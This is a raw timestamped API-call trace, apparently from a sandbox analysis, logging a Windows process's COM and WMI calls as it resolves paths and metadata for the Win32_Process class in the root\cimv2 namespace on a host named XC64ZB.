WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0109.454] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0109.454] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0109.454] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0109.454] WbemLocator:IUnknown:AddRef (This=0x1b4ad258) returned 0x3 [0109.454] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad258, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b4ad258) returned 0x0 [0109.455] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x3 [0109.455] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x2 [0109.455] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0109.455] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0109.455] IWbemServices:GetObject (in: This=0x63c590, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4ce9a0, ppCallResult=0x0) returned 0x0 [0109.460] IWbemClassObject:Get (in: This=0x1b4ce9a0, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0109.460] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0109.460] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0109.461] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0109.461] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0109.461] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0109.461] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.461] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d24a0) returned 0x0 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d24a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0109.462] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d24a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4b04e0) returned 0x0 [0109.462] WbemDefPath:IUnknown:Release (This=0x1b4d24a0) returned 0x0 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4b04e0) returned 0x0 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0109.462] WbemDefPath:IUnknown:AddRef (This=0x1b4b04e0) returned 0x3 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d2200) returned 0x0 [0109.462] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2200, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.462] WbemDefPath:IUnknown:Release (This=0x1b4d2200) returned 0x3 [0109.462] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0109.462] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0109.462] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x2 [0109.462] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x1 [0109.462] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0109.462] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0109.462] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b04e0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4b04e0) returned 0x0 [0109.462] WbemDefPath:IUnknown:AddRef (This=0x1b4b04e0) returned 0x3 [0109.462] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x2 [0109.463] WbemDefPath:IWbemPath:SetText (This=0x1b4b04e0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0109.463] IWbemClassObject:Get (in: This=0x1b4ce9a0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0109.463] SysStringByteLen (bstr="XC64ZB") returned 0xc [0109.463] SysStringByteLen (bstr="XC64ZB") returned 0xc [0109.463] IWbemClassObject:Get (in: This=0x1b4ce9a0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0109.463] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0109.463] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0109.463] IWbemClassObject:Get (in: This=0x1b4ce9a0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0109.463] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0109.463] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0109.463] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0109.463] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0109.463] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0109.463] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.464] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2040) returned 0x0 [0109.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2040, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0109.464] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2040, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afca0) returned 0x0 [0109.464] WbemDefPath:IUnknown:Release (This=0x1b4d2040) returned 0x0 [0109.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afca0) returned 0x0 [0109.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0109.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0109.464] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0109.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0109.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0109.464] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d1f00) returned 0x0 [0109.464] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1f00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.464] WbemDefPath:IUnknown:Release (This=0x1b4d1f00) returned 0x3 [0109.465] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0109.465] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0109.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0109.465] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0109.465] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0109.465] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0109.465] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0109.465] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afca0) returned 0x0 [0109.465] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0109.465] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0109.465] WbemDefPath:IWbemPath:SetText (This=0x1b4afca0, uMode=0x4, pszPath="") returned 0x0 [0109.468] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0109.468] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0109.469] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0109.469] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.469] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d21c0) returned 0x0 [0109.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d21c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0109.469] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d21c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afd60) returned 0x0 [0109.469] WbemDefPath:IUnknown:Release (This=0x1b4d21c0) returned 0x0 [0109.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afd60) returned 0x0 [0109.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0109.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0109.470] WbemDefPath:IUnknown:AddRef (This=0x1b4afd60) returned 0x3 [0109.470] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0109.470] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0109.470] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2360) returned 0x0 [0109.470] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2360, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.470] WbemDefPath:IUnknown:Release (This=0x1b4d2360) returned 0x3 [0109.470] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0109.470] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0109.470] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0109.470] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x2 [0109.470] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x1 [0109.470] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0109.470] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0109.470] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afd60, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afd60) returned 0x0 [0109.470] WbemDefPath:IUnknown:AddRef (This=0x1b4afd60) returned 0x3 [0109.470] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x2 [0109.470] WbemDefPath:IWbemPath:SetText (This=0x1b4afd60, uMode=0x4, pszPath="") returned 0x0 [0109.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0109.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0109.470] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4afd60, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0109.470] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afd60, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0109.470] WbemDefPath:IWbemPath:SetServer (This=0x1b4afd60, Name="XC64ZB") returned 0x0 [0109.470] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0109.470] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0109.470] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0109.471] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.471] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2120) returned 0x0 [0109.471] 